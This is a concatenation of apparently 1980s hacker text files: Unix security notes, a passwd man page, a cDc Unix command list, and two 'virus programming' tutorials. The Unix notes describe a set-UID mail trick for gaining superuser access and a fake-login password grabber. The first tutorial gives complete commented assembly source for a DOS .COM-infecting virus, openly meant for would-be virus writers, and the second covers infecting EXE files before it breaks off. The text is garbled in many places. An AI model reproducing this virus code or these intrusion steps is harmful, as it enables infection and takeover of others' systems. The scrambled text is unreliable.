to members of the user's group, and to all other users. Each process
generated by or for a user has associated with it an effective UID and
a real UID, and an effective and real GID. When an attempt is made to access
the file for
reading, writing, or execution, the user process's effective
UID is compared against the file's UID; if a match is obtained, access is
granted provided the read, write, or execute bit respectively for the user
himself is present. If the UID for the file and for the process fail to
match, but the GID's do match, the group bits are used; if the GID's do
not match, the bits for other users are tested. The last two bits of each
file's protection information, called the set-UID and set-GID bits, are used
only when the file is executed as a program. If, in this case, the set-UID
bit is on for the file, the effective UID for the process is changed to the
UID associated with the file; the change persists until the process
terminates or until the UID changed again by another execution of a set-UID
file.
Similarly the effective group ID of a process is changed to the GID
associated with a file when that file is executed and has the set-GID
bit
set. The real UID and GID of a process do not change when any file is
executed, but only as the result of a privileged system call. The basic
notion of the set-UID and set-GID bits is that one may write a program which
is executable by others and which maintains files accessible to others
only by that program. The classical example is the game-playing program
which maintains records of the scores of its players. The program itself has
to read and write the score file, but no one but the game's sponsor can be
allowed unrestricted access to the file lest they manipulate the game to their
own advantage.
The solution is to turn on the set-UID bit of the game program.
When, and only when, it is invoked by players of the game, it may update the
score file but ordinary programs executed by others cannot access the
score. There are a number of special cases involved in determining access
permissions.
Since executing a directory as a program is a meaningless
operation, the execute-permission bit, for directories, is taken instead to
mean permission to
earch
he directory for a given file during the scanning of
a path name; thus if a directory has execute
permission but no read
permission for a given user, he may access files with known names in the
directory, but may not read (list) the entire contents of the directory. Write
permission on a directory is interpreted to mean that the user may
create and delete files in that directory; it is impossible for any
user to write directly into any directory. Another, and from the point
of view of security, much more serious special case is that there is a ``super
user'' who is able
to read any file and write any nondirectory. The
super-user is also able to change the protection mode and the owner UID and
GID of any file and to invoke privileged system calls. It must be
recognized that the mere notion of a super-user is a theoretical, and
usually practical, blemish on any protection scheme. The first necessity
for a secure system is of course arranging that all files and
directories have the proper protection modes. Traditionally, software has been
exceedingly permissive in this regard; essentially all commands create files
readable and writable by everyone. In the current version, this policy may be
easily adjusted to suit the needs of the
user.
installation or the individual
Associated with each process and its descendants is a mask, which is in
effect with the mode of every file and directory created by that process. In
this way, users can arrange that, by default, all their files are no more
accessible than they wish. The standard mask, set by allows all
permissions to the user himself and to his group, but disallows writing by
others.
To maintain both data privacy and data integrity, it is necessary,
and largely sufficient, to make one's files inaccessible to others.
The lack
of sufficiency could follow from the existence of set-UID programs created
by the user and the possibility of total breach of system security in one
of the ways discussed below
(or one of the ways not discussed below). For
greater protection, an encryption scheme is available. Since the editor
is able to create encrypted documents, and the command can be used to pipe
such documents into the other text-processing programs, the length of time
during which cleartext versions need
be
available is strictly limited. The
encryption scheme used is not one of the strongest known, but it is judged
adequate, in the sense that
cryptanalysis is likely to require
considerably more effort than more direct methods of reading the encrypted
files. For example, a user who stores data that he regards as truly secret
should be aware that he is implicitly trusting the system administrator not
to install a version of the crypt command that stores every typed
password in a file. Needless to say, the system administrators must be at
least as careful as their most demanding user to place the correct
protection mode on the files under their control.
necessary that
special files be protected from
In particular, it is
writing, and probably
reading, by ordinary users when they store sensitive files belonging to
other users.
It is easy to write programs that examine and change files
by accessing the device on which the files live. On the issue of password
security, is probably better than most systems.
Passwords are stored in an
encrypted form which, in the absence of serious attention from specialists in
the field, appears reasonably secure, provided its
limitations are
understood. In the current version, it is based on a slightly defective
version of the Federal DES;
it is purposely defective so that easily-
available hardware is useless for attempts at exhaustive key-search.
Since both the encryption algorithm and the encrypted passwords are available,
exhaustive enumeration of potential passwords is still feasible up to a
point. We have observed that users choose passwords that are easy to
guess: they are short, or from a limited alphabet, or in a dictionary.
Passwords should be at least six characters long and randomly chosen
from an alphabet which includes digits and special characters.
Of course
there also exist feasible non-cryptanalytic ways of finding out
passwords. For example: write a program which types out ``login:'' on
the typewriter and
copies whatever is typed to a file of your own.
invoke the command and go away until the victim
arrives.
Then
The set-UID (
set-GID) notion must be used carefully if any security is to be maintained.
The first thing to keep in mind is that a writable set-UID file can have
another program copied onto it. For example, if the super-user command is
writable, anyone can copy the shell onto it and get a password-free version
of A more subtle problem can come from set-UID programs which are not
sufficiently careful of what is fed into them. To take an obsolete
example, the previous version of the command was set-UID and owned by the
super-user. This version sent mail to the recipient's own directory.
The
notion was that one should be able to send mail to anyone even if they want
to protect their directories from writing. The trouble was that was
rather dumb: anyone could
mail someone else's private file to himself. Much
more serious is the following scenario: make
a file with a line like one in
the password file which allows one to log in as the
super-user. Then make a
link named ``.mail'' to the password file in some writable directory on the
same device as the password
file (say/tmp). Finally mail the bogus login
line to /tmp/.mail; You can then login as the superuser, clean up the
incriminating evidence, and have your will. The fact that users can mount
their own disks and tapes as file systems can be another way of gaining
superuser status. Once a disk pack is mounted, the system believes what is on
it. Thus one can take a
blank disk pack, put on it anything desired, and
mount it. There are obvious and unfortunate consequences.
For
example: a mounted disk with garbage onit will crash the system; one of the
files
on the
mounted disk can easily be a password-free version of other
files can be unprotected entries for special files.
The only easy fix for
this problem is to forbid the use of to unprivileged users. A partial
solution, not so restrictive, would be
special file for bad data, set-UID
to have
the command examine the
programs owned by others, and
accessible special files, and balk at unprivileged invokers.
Info about the /etc/passwd file:
--NME
passwd - password file
DSCRIPTION
Passwd contains for each user the
following information:
name (login name, contains no
upper case)
encrypted password
numerical user ID
numerical group ID
user's real name, office,
extension, home phone.
initial working directory
program to use as Shell
The name may contain `&', meaning insert the login name.
This information is set by the chfn(1) command and used by
the finger(1) command.
This is an ASCII file. Each field within each user's entry
is separated from the next by a colon. Each user is
separated from the next by a new line. If the password
field is null, no password is demanded; if the Shell field
is null, then /bin/sh is used.
This file resides in directory / etc. Because of the
encrypted passwords, it can and does have general read
permission and can be used, for example, to map numerical user
ID's to names.
Appropriate precautions must be taken to lock the file
against changes if it is to be edited with a text editor;
vipw(8) does the necessary locking.
FLES
/etc/passwd
SE ALSO
getpwent(3), login(1), crypt(3),
passwd(1), group(5),
chfn(1), finger(1), vipw(8),
adduser(8)
BGS
A binary indexed file format should be available for fast access.
User information (name, office, etc.) should be stored elsewhere.
--Now if you have had the patience to read all of this and you have digested
it you know everything that you need to know about the Unix system to hold up
your end of an intelligent conversation.
Have fun!
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_
_
_
((___))
[ x x ]
\
/
_
((___))
cDc communications, inc.
presents...
[ x x ]
\
/
(` ')
(` ')
(U)
(U)
Gibe's UNIX COMMAND Bible
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The latest file from the Cow's Information Series,
Franken's UNIX Command Bible is suitable for the UNIX
dilettante, as well as for the hardcore hack. Provides
easy reference for those hard-to-remember commands.
Attractive print-out fits well in any decor.
Edited by High Priest and Scribe, F. Gibe
"Smash the State! Have a Nice Day!" ........
1987
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Command
Description
~~~~~~~
~~~~~~~~~~~
awk
Search for a pattern within a file. Includes
a built-in programming language.
bdiff
Compares two large files.
bfs
Scans a large file.
cal
Displays a calendar.
cat
Concatenates and prints files.
cc
C
cd
Change directory.
compiler.
chgrp
Changes a file's group ownership.
chmod
Changes a file's access permissions.
chown
Changes the individual ownership of a file.
cmp
Compares two files; diplays the location (line
and byte) of the 1st difference between these.
comm
Compares two files so as to determine which
lines are common to both.
cp
Copies a file to another location.
cu
Calls another UNIX system.
date
Returns the date and time.
df
diff
Displays free space in the file system.
Displays the differences between two files
or directories.
diff3
Displays the differences between three files
or directories.
du
echo
Reports on file system usage.
Displays its argument.
ed
Text editor.
ex
Text editor.
expr
Evaluates its argument which is generally
a mathematical formula.
f77
FORTRAN compiler.
find
Locates the files w/ specified characteristics.
format
Initializes a floppy disk.
grep
Searches for a pattern within a file. (see awk)
help
Salvation.
kill
Ends a process.
ln
Used to link files.
lpr
Copies the file to the line printer.
ls
Displays info. about one or more files.
mail
Used to receive or deliver e-mail.
mkdir
more
Creates a new directory.
Displays a long file so that the user
can scroll through it.
mv
Used to move or rename files.
nroff
Used to format text.
ps
Display a process's status.
pwd
Display the name of the working directory.
rm
Removes one or more files.
rmdir
Deletes one or more directories.
sleep
Causes a process to become inactive for a
specified length of time.
sort
Sort and merge one or more files.
spell
Finds spelling errors in a file.
split
Divides a file.
stty
Display or set terminal parameters.
tail
Displays the end of a file.
troff
Outputs formatted output to a typesetter.
tset
Sets the terminal type.
umask
Allows the user to specify a new creation
mask.
uniq
Compares 2 files. Finds and displays lines
in one file that are unique.
uucp
UNIX-to-UNIX execute.
vi
Full screen editor.
wc
Displays details in the file size.
who
Info. on who else be online.
write
Used to send a message to another user.
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
That's the Summary. Now print it out, if you'd like. Good for fast
referencing. Following the Summary is a more in-depth look at each
of the commands already listed.
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
awk program filenames
awk -f programfilenames filenames
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [awk] utility can be used to find any lines in a file which
match a certain pattern; once found, these lines can be processed.
In the first configuration, the program that [awk] is to
execute is specified in the command line. In the second,
the program is stored as the file given in programfilename.
The -f option instructs [awk] to read this file.
[bdiff] is used to compare files too large for [diff]. See
[diff] for the format.
bfs filename
~~~~~~~~~~~~
[bfs] is used to scan a large file to determine where to split
it into smaller files.
cal 01-12 (month) 0-9999 (year)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[cal] utility can be used to display a calendar of any year
from 0 to 9999 AD, and any or all of the twelve months.
cat filename
~~~~~~~~~~~~
[cat] can be used to examine a short file. See [more] for
lengthier files.
number[cc]
~~~~~~~~~~
The [cc] command changes the entire current line, or a group
of lines starting with the current line. [number] represents
the number of old lines to be deleted.
cd directory name
~~~~~~~~~~~~~~~~~
The [cd] command causes the current working directory to be
changed. The [directory name] can be either a full or partial
path name.
chgrp groupname filename
~~~~~~~~~~~~~~~~~~~~~~~~
This command changes the group ownership of a file.
chmod {ugoa} {+-} {rwx}
~~~~~~~~~~~~~~~~~~~~~~~
The [chmod] utility changes a file's access permissions. [u]
specifies the user or owner's login name, [g] specifies a group
and [o] indicates all others. [a] indicates the user, group,
and all others; c'est the default. [+] adds permission; [-]
deletes it. [r] indicates read, [w] write, and [x] execute.
chown individualname filename
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[chown] changes the individual ownership of a file (see chgrp).
cmp filename1 filename2
~~~~~~~~~~~~~~~~~~~~~~~
[cmp] is one of the four principle UNIX file comparison utilities.
It compares 2 files, and returns the positions where they differ.
comm -options filename1 filename2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [comm] utility, in comparing two files, produces three
columns of output. The first contains lines unique to the
first file, the second, lines unique to the second, and the
third column, lines common to both files. By placing the
numbers [1], [2], and/or [3] in the [options] position, any
one (or more) of these columns can be suppressed.
cp sendingfile receivingfile
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [cp] command copies a file. [sendingfile] is the file to be
copied, [receivingfile] is the file to which it is copied.
diff [options] filename1 filename2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Again, a file comparison utility. However, with [diff], the
differences are displayed as instructions that can be used
to edit the files so that they are identical.
diff3 filename1 filename2 filename3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Similar to [diff], [diff3] is unique in that it can compare
three files. Gee.
ed filename
~~~~~~~~~~~
One of the UNIX's three editing utilities, [ed] is a basic line
editor. I'm sure there are other files that will explain how
to use [ed]. Thus, I'll confine myself to a rough outline:
e filename ........... edit a different file
f filename ........... changes the currently specified file.
h .................... provides explanation of errors.
I
text ................. inserts text before the current line.
line,linel ........... lists the specified lines.
line,linen ........... displays specified lines, preceded by
their line numbers.
q .................... exit from [ed]
w .................... writes buffer to current filename.
+ or - ............... +number of lines closer to end
-number of lines closer to beginning.
expr formula
~~~~~~~~~~~~
Utility which evaluates an expression.
find directory searchcriteria parameter actioncriteria parameter
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [find] utility can be very useful indeed, especially when
confronted by a UNIX with countless files. Basically, this
command finds files which meet certain criteria, and then
performs an operation (such as printing the files). Search
criteria consists of the following:
Criteria
Parameter
Description
~~~~~~~~
~~~~~~~~~
~~~~~~~~~~~
-name
filename
Files whose names match [filename]
will meet this criteria.
-type
filetype
Files whose type matches that specified
[b] block special
will meet criteria.
[c] character spec. file
[d] directory file
[f] plain file
-links
+/- x
Files with # of links indicated by
+ or - x meet this criteria.
-user
login name
or user ID #
-group
group name
or group ID #
-size
+ or - x
Files belonging to user with given
login name or ID # meet criteria.
Files belonging to group with given
group name or ID # meet this criteria.
Files greater than +x bytes or less
than -x bytes meet this criteria.
-atime
+ or - x
Files not accessed within +x days,
accessed within -x days, or accessed x days ago meet criteria.
-mtime
+ or - x
Files NOT modified within +x days,
modified within -x days, or modified
x days ago will meet this criteria.
-newer
filename
Files modified more recently than
[filename] meet this criteria.
Action Criteria
"
"
~~~~~~~~~~~~~~~
~
~
-print
-
When search criteria are met, path
name of the file is displayed.
-exec
command{ }\;
Executes given command when search
criteria are met. { } indicates filename, [\;] ends the command.
-ok
command{ }\;
Exactly like -exec, except user is
prompted [y] or [n] before command.
grep -options searchstring filenames
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Another search command, this for a particular string of chars.
ln original new
~~~~~~~~~~~~~~~
[ln] establishes a file link. For this utility, [original] represents the filename to be linked, [new] the filename of the new
link to the original.
[ls] provides directory information. [ls -l/] displays a more
complete version of the info. list.
mail username username
~~~~~~~~~~~~~~~~~~~~~~
This utility allows e-mail to be sent to other system users.
mail
~~~~
Simply typing [mail] checks the user's own mailbox.
When sending mail, several items must be set:
~s text ............ sets the subject field
~c user names ...... sends other users carbon copies of mail
m user names ....... activates the compose mode, with the
specified users as the message's recipients.
~h ................. displays and allows editing of all headers.
^D ................. ends message editing; sends mail.
~r filename ........ places file in body of message (keen command)
Reading One's Own Mail:
h number or range ....... causes specified headers to be displayed
p message # ............. displays entire message
d number or range ....... deletes specified messages
u number or range ....... undelete specified mail during SAME
mail session (messages removed after q)
q ....................... leave the post office
mkdir directoryname
~~~~~~~~~~~~~~~~~~~
[mkdir] allows creation of a subdirectory, for your dining
enjoyment.
more filename
~~~~~~~~~~~~~
For longer files, [more] is a convenient utility. It will display
the first screen of file data and then stop, allowing the user
to control scrolling henceforth.
mv oldfilename newfilename
~~~~~~~~~~~~~~~~~~~~~~~~~~
The [mv] utility can be used simply to rename a file, or...
mv filea fileb... directory
~~~~~~~~~~~~~~~~~~~~~~~~~~~
[mv] can also be used to move files to a new directory, provided
the directory exists, and you have write access to it.
ps -options
~~~~~~~~~~~
The [ps] command, by itself, displays the status of each active
process controlled by your terminal. This status report includes
the Process Identification Number (PID), the terminal (TTY), the
time the process has been executing (TIME), and the command line
used to execute the process (CMD).
[ps]'s three options include -a (displays info. on active processes
controlled by any terminal), -x (info. on ALL active processes), and
-l (an extensive status report on all active processes).
pwd
~~~
[pwd] command displays the present working directory.
rm filename
~~~~~~~~~~~
[rm] removes a file. More than one file can be specified.
rmdir directoryname
~~~~~~~~~~~~~~~~~~~
This utility removes a directory, an EMPTY directory (save the
hidden files).
sleep seconds
~~~~~~~~~~~~~
The [sleep] utility causes a process to become inactive for a
certain period of time. Max. seconds is 65,536 (about 18 hrs).
sort -options filenames
~~~~~~~~~~~~~~~~~~~~~~~
[sort] merges and sorts files. Without options, [sort] orders
files by the ASCII codes of the characters at the beginning
of each line. Options include -b (leading blanks ignored), -d
(only letters, digs, and blanks considered; "dictionary sort"),
-f (case ignored), -n (numerical sort [for numerical data]), and
-r (a reverse sort).
split -size original resulting
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[split] divides a large file into smaller ones. [size] refers to
the number of lines the resulting files contain, [original] is
the name of the orig. file, and [resulting] represents the
prefix name assigned to the newly created files.
umask ugo
~~~~~~~~~
[umask] changes the file CREATION mask (see [chmod] for already
existing files). Here, [u] represents the owner's access
permission, [g] the group's a.p., and [o] the a.p. for all others.
[uucp] (UNIX to UNIX copy) can be used to send files to a
remote UNIX, or retrieve files from the remote system.
Other UNIX comm commands include [cu] (which establishes contact
with another system), and [uux] (UNIX to UNIX execute; allows
commands to be executed on a remote system).
wc -options filenames
~~~~~~~~~~~~~~~~~~~~~
The [wc] utility displays file-size information. This includes
the number of lines, words, and characters. By chosing the
-l, -w, or -c options, the information can be limited to only
line, word, or character number.
who
~~~
A very useful command (which some systems respond to even before
a user is actually logged on), [who] displays a list of users
currently online. This list includes the user's name, terminal
device # (tty), and the log-in time. [who am i] displays info.
only on the user who executed the command.
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Alright. You may have noticed that this isn't EXACTLY a Bible. I
took the liberty of omitting some of the command explanations.
But, if anyone REALLY wants to know more about [vi], or [stty],
or (perhaps more justifiably) have a more comprehensive guide
to the mail system, I'll be glad to write some 'by request'
text files.
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(c)1987 cDc communications by Franken Gibe
All Rights Smeared Across The Wall
0/0/87-14
Virus programming (basics) #1...
----------------------------------------------------------------This section is dedicated to those who would like to write a
virus, but don't have the knowledge to do so.
First of all,
writing a virus is no big deal. It is an easy project, but one
which requires some basic programming skills, and the desire to
write a virus!
If either of these is missing, writing a virus
would be tedious indeed!.
Well, if you meet these requisites, keep reading this article....
JE
READ
JNE
FUCK_YOU!
READ:
The survival of a virus is based in its ability to reproduce.
"So
how the fuck do I make a program reproduce?", you might ask.
Simple, by getting it to copy itself to other files....
The functional logic of a virus is as follows:
1- Search for a file to infect
2- Open the file to see if it is infected
3- If infected, search for another file
4- Else, infect the file
5- Return control to the host program.
The following is an example of a simple virus:
;****************************************************************
;
START OF THE EXAMPLE:
;****************************************************************
;Warning, this example is a (piece of shit?)
; - The virus does not test for prior infection
; - it searches only for the first .COM file in the current
;
directory
;
; Careful when executing this file, since the first time it's
; executed it will search for and infect the first file in the
; directory.
If we later run the newly infected file, it will find
; the first file in its directory, itself. Thus, it will re-infect
; itself over and over.
;===================CODIGO=======================================
;(The variables in a .COM file are relative to offset 100h).
codigo segment 'code'
org 100h
;Organize all the code starting
; from offset 100h
assume cs:codigo,ds:codigo,es:codigo
;Define the use of the
;segments
start
proc far
;Start the routine
COMIENZO:
push
cs
;Store CS
push
cs
;Store CS
; once again.
pop
ds
;Bring DS out from stack
pop
es
;Bring ES out from stack
call
falso_proc
;Call proc. so that its
; address is placed in the stack
falso_proc
proc near
falso_proc
endp
pop
bp
;BP<== Proc. address.
sub
bp, 107h
;BP<== BP - Previous directory
;This is done to take the variables relative to BP, since the
;infection displaces the variables at exactly the length of the
; file.
At the first infection, instruction "SUB BP, 107h" is
; 107h, so that the contents of BP is 0;
when I call a variable
; with "BP+VARIABLE" the value of the variable's address is not
; modified. When I load it , for example, from a 100h byte
; infected file, the instruction "SUB BP, 107h" leaves me at
; address 207h which means BP=100h, the size of the original file.
; Had I called the variable without adding BP, I would have been
; short by 100h bytes.
;Find the first .COM file in the directory
----------------------------------------mov
ah, 4eh
;Search for the 1st file
lea
dx, bp+file_inf
;DS:DX= offset of FILE_INF
;(*.*) so it will search all
;the files, including directory
;names with extensions.
mov
cx, 0000h
int
21h
;Entry attributes
;These attributes mentioned in the commentary are the directory's
; entry attributes. When I set the attributes to 0, I'm telling
; DOS to search normal files.
If I include a bit combination which
; provides the Hidden, System or Directory attributes, DOS will
; search for files with those attributes, as well as the normal
; files. If the search range includes the Volume bit, the search
; is limited to that.
;These are the bits which correspond to each attribute:
;Bits:
7 6 5 4 3 2 1 0
;
. . . . . . . 1
Bit 0: Read only
;
. . . . . . 1 .
Bit 1: Hidden
;
. . . . . 1 . .
Bit 2: System
;
. . . . 1 . . .
Bit 3: Volume
;
. . . 1 . . . .
Bit 4: Directory
;
. . 1 . . . . .
Bit 5: File
;
;Bits 6 and 7 are not used as they are reserved for "future
; applications".
;Open file
;---------------------------------------------------------------mov
ah, 3dh
;Open the file.
mov
al, 00000010b
;read/write.
mov
dx, 009eh
int
21h
;put the handle in AX
push
ax
;and store in stack.
;DX<== DTA(filename) offset
;The attributes I'm setting in AL are not the same as before.
; These are the "open" attributes.
We are only interested in the
; first 3 bits,
;bits 2 1 0:
;
;
0 0 0
Read only mode
;
0 0 1
Write only mode
;
0 1 0
Read/Write mode
;
;OK, we now have the file attributes stored in AL. What we now
; need to do is to store in DX the offset of the variable where
; I've stored the ASCIIZ chain with the name of the file to be
; opened. In this case, we don't have a NAME_OF_FILE variable.
; Instead, the name is located in the DTA (Disk Transfer Area). I
; we have it in the DTA......
Why?
Simply because when we search
; for a file to infect, all the information we need is returned to
; this memory area. This buffer, if it was not reset, is found in
; the PSP; more precisely, it starts at offset 80h and is 43d bytes
; in size.
;
;The DTA format is as follows:
;
;Offset
Bytes
; 00h
21d
;
Function
Used by DOS for the 4fh service
(search for the next file)
; 15h
01d
Attributes of the file that's been found
; 16h
02d
File time
; 18h
02d
File date
; 1Ah
04d
File size in bytes
; 1Eh
13d
File name in an ASCIIZ chain
;
(FILENAME.EXT),0
;
;Well, all that remains to be doe is to give DX the position in
; memory where I've stored the filename:
; done.
"MOV DX, E1h" and its's
But careful now, remember that DTA starts at offset 80h,
; which means I have to pass to DX the value "80h+1Eh = 9Eh". That
; would than leave "MOV DX, 9Eh"; the problem is solved.
Now you
are probably asking yourselves what I mean by "handle". The handle
is a number which tells DOS which file we want.
DOS gives us a
handle for each file we open so we have to be careful to have the
correct handle for each file which we read/write.
;Read the first 3 bytes.
----------------------------------------------------pop
bx
;I take the handle from the
;stack to BX
push
bx
;and I store it again.
mov
ah, 3fh
;Read file.
mov
cx, 0003h
;Read 3 bytes.
lea
dx, bp+buffer
;and store in the buffer.
int
21h
INFECTAR:
;(infect)
;Move pointer to the start.
--------------------------------------------------mov ax, 4200h
;I move the write pointer
;to the beginning of the program
mov
cx, 0000h
mov
dx, 0000h
int
21h
;The pointer's displacement, relative to the position of the
; pointer as specified in AL, is placed in CX and DX.
; Pointer displacement modes set in AL:
;
AL <== 00 Move pointer to the beginning of the file.
;
AL <== 01 leave pointer where it is.
;
AL <== 02 Move pointer to end-of-file.
;Write the first byte (jmp)
------------------------------------------------mov
ah, 40h
;write the first byte.
mov
cx, 1d
;Quantity=1.
lea
dx, bp+jump
;DX<== JUMP offset
int
21h
;(Here we still need the handle, but we don't need to set it again
; because the register which contained the information was not
; modified.
;
;The first byte to be written is a JUMP instruction (the symbol for
; the jump is below). What follows the jump is the address of the
; jump, file-length + 1. (test the "+ 1" thoroughly, since this
; can cause problems; if so, multiply by 18 or subtract 23.)
; Hehehehe.
;Since the entire virus code is copied at the end of the file, the
; jump gives the virus control in an infected file.
;Calculating file length
------------------------------------------------mov
cx, 2
;Copy 2 bytes.
mov
si, 009ah
;SI<== DTA offset
lea
di, bp+longitud
rep
movsb
;DI<== File LENGTH offset.
;Copy.
;This instruction must have the 'SOURCE' buffer address in DS:SI
; and the address where the string will be copied in ES:DI (in this
; case, I copy the file length of the DTA to the variable
; 'LONGITUD').
sub word ptr [bp+longitud], 3
;subtract 3 bytes from
;[LONGITUD]
;The JMP is completed
-------------------------------------mov
ah, 40h
mov
cx, 2d
lea
dx, bp+longitud
;Write.
;Number of bytes.
;DX<== LONGITUD (length)
; offset
int
21h
;Move pointer to end
------------------------------------------------------mov ax, 4202h
;Move the write pointer to the
;end of the program.
mov
cx, 0000h
mov
dx, 0000h
int
21h
add word ptr [bp+longitud],3 ;Restore LONGITUD.
;Copy the virus to the program.
--------------------------------------------------pop
bx
mov
ah, 40h
mov
cx, 190d
;Restore the handle.
;number of bytes to copy.
lea dx, bp+comienzo
int
;Start copying from....
21h
;Close the file after infection
-----------------------------------mov
ah, 3eh
int
21h
;Close file.
;Here, too, we need in DS:DX the address of the buffer which
; contains the filename string, but in this case DS and DX already
; contain those values from before.
NO_INFECTAR:
;==================RETURN CONTROL TO THE HOST=====================
;Copy the buffer which contains the first 3 bytes of the file into
; memory.
-----------------mov cx, 0003h
;Number of bytes (3).
mov di, 0100h
;DI<== offset 100h. Beginning of the
;program in memory.
lea si, bp+buffer
;SI<== BUFFER offset
rep movsb
;Copy.
;What we are doing here is to "fix" the file, since when it was
; infected, the first few bytes are overwritten by the virus. That
; is why we reconstruct the file to its original state, by copying
; the first 3 bytes, which we had stored earlier, into memory.
;Jump to offset 100h
-------------------------------------------------------mov ax, 0100h
;Address needed to execute the host
jmp ax
;As we mentioned before, in .COM files the executable code begins
; at offset 100h. The information found between 00h and 100h is
; program data, like the DTA for example.
;The main difference between a .COM file and an .EXE is that a .COM
; cannot occupy more than one memory segment, or 65535 bytes.
; .EXEs can, because DOS can 'tailor' them to fit into a number of
; different segments. Unlike.EXE files. .COM files are faithful
; reproductions of the contents of memory.
;====================DATA AREA===================================
buffer
db 7d dup(0)
longitud
db 2 dup(0)
file_inf
db '*.COM',0
jump
db '・,0
;<----jump ascii
;(The character '0' is the end of the ASCIIZ string)
start
endp
;End of main procedure
codigo ends
;end of code segment
end
;END. Go to COMIENZO
comienzo
;****************************************************************
;
END OF EXAMPLE
;****************************************************************
Drako.
Virus programming (not so basic) #2...
-----------------------------------------------------------------Infecting an .EXE is not much more difficult than infecting a
.COM. To do so, you must learn about a structure known as the EXE
header. Once you've picked this up, it's not so difficult and it
offers many more options than just a simple jump at the beginning
of the code.
Let's begin:
% The Header structure %
The information on EXE header structure is available from any
good DOS book, and even from some other H/P/V mags. Anyhow, I'll
include that information here for those who don't have those
sources to understand what I'm talking about.
Offset
Description
00
EXE identifier (MZ = 4D5A)
02
Number of bytes on the last page (of 512 bytes) of the
program
04
Total number of 512 byte pages, rounded upwards
06
Number of entries in the File Allocation Table
08
Size of the header in paragraphs, including the FAT
0A
Minimum memory requirement
0C
Maximum memory requirement
0E
Initial SS
10
Initial SP
12
Checksum
14
Initial IP
16
Initial CS
18
Offset to the FAT from the beginning of the file
1A
Number of generated overlays
The EXE identifier (MZ) is what truly distinguishes the EXE from
a COM, and not the extension. The extension is only used by DOS to
determine which must run first (COM before EXE before BAT). What
really tells the system whether its a "true" EXE is this identifier
(MZ).
Entries 02 and 04 contain the program size in the following
format: 512 byte pages * 512 + remainder. In other words, if the
program has 1025 bytes, we have 3 512 byte pages (remember, we must
round upwards) plus a remainder of 1. (Actually, we could ask why
we need the remainder, since we are rounding up to the nearest
page. Even more since we are going to use 4 bytes for the size,
why
not just eliminate it? The virus programmer has such a rough life
:-)). Entry number 06 contains the number of entries in the FAT
(number of pointers, see below) and entry 18 has the offset from
the
FAT within the file. The header size (entry 08) includes the FAT.
The minimum memory requirement (0A) indicates the least amount of
free memory the program needs in order to run and the maximum (0C)
the ideal amount of memory to run the program. (Generally this is
set to FFFF = 1M by the linkers, and DOS hands over all available
memory).
The SS:SP and CS:IP contain the initial values for theses
registers (see below). Note that SS:SP is set backwards, which
means that an LDS cannot load it. The checksum (12) and the number
of overlays (1a) can be ignored since these entries are never used.
% EXE vs. COM load process %
Well, by now we all know exhaustively how to load a .COM:
We build a PSP, we create an Environment Block starting from the
parent block, and we copy the COM file into memory exactly as it
is, below the PSP. Since memory is segmented into 64k "caches" no
COM file can be larger than 64K. DOS will not execute a COM file
larger than 64K. Note that when a COM file is loaded, all
available memory is granted to the program.
Where it pertains to EXEs, however, bypassing these limitations is
much more complex; we must use the FAT and the EXE header for
this.
When an EXE is executed, DOS first performs the same functions
as
in loading a COM. It then reads into a work area the EXE header
and, based on the information this provides, reads the program into
its proper location in memory. Lastly, it reads the FAT into
another work area. It then relocates the entire code.
What does this consist of? The linker will always treat any
segment references as having a base address of 0. In other words,
the first segment is 0, the second is 1, etc. On the other hand,
the program is loaded into a non-zero segment; for example, 1000h.
In this case, all references to segment 1 must be converted to
segment 1001h.
The FAT is simply a list of pointers which mark references of
this type (to segment 1, etc.). These pointers, in turn, are also
relative to base address 0, which means they, too, can be
reallocated. Therefore, DOS adds the effective segment (the
segment into which the program was loaded; i.e. 1000h) to the
pointer in the FAT and thus obtains an absolute address in memory
to reference the segment. The effective segment is also added to
this reference, and having done this with each and every segment
reference, the EXE is reallocated and is ready to execute.
Finally, DOS sets SS:SP to the header values (also reallocated; the
header SS + 1000H), and turns control over to the CS:IP of the
header (obviously also reallocated).
Lets look at a simple exercise:
EXE PROGRAM FILE
Header
(reallocation
table entries=2)
CS:IP (Header)
Eff. Segment
PSP
0000:0000 +
1000
0010
+
=
------------------------Entry Point
Reallocation Table
1010:0000 >ÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
0000:0003 >ÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿
³
³
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
³
0000:0007 >ÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿
³
